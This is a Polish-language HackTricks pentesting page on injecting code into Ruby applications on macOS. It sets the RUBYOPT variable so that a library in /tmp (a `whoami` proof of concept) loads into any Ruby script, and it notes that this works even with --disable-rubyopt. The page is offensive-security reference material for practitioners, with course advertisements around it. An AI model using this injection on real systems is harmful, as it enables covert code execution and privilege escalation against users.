hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md
2024-02-11 01:46:25 +00:00

3.2 KiB

Wstrzykiwanie kodu w aplikacje Ruby na macOS

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

RUBYOPT

Korzystając z tej zmiennej środowiskowej, można dodawać nowe parametry do ruby'ego za każdym razem, gdy jest uruchamiany. Chociaż parametr -e nie może być używany do określenia kodu ruby do wykonania, można użyć parametrów -I i -r do dodania nowego folderu do ścieżki ładowania bibliotek, a następnie określenia biblioteki do załadowania.

Utwórz bibliotekę inject.rb w folderze /tmp:

{% code title="inject.rb" %}

puts `whoami`

{% endcode %}

Stwórz skrypt Ruby gdziekolwiek, na przykład:

{% code title="hello.rb" %}

puts 'Hello, World!'

{% endcode %}

Następnie wykonaj dowolny skrypt Ruby, załaduj go za pomocą:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Ciekawostka, działa nawet z parametrem --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: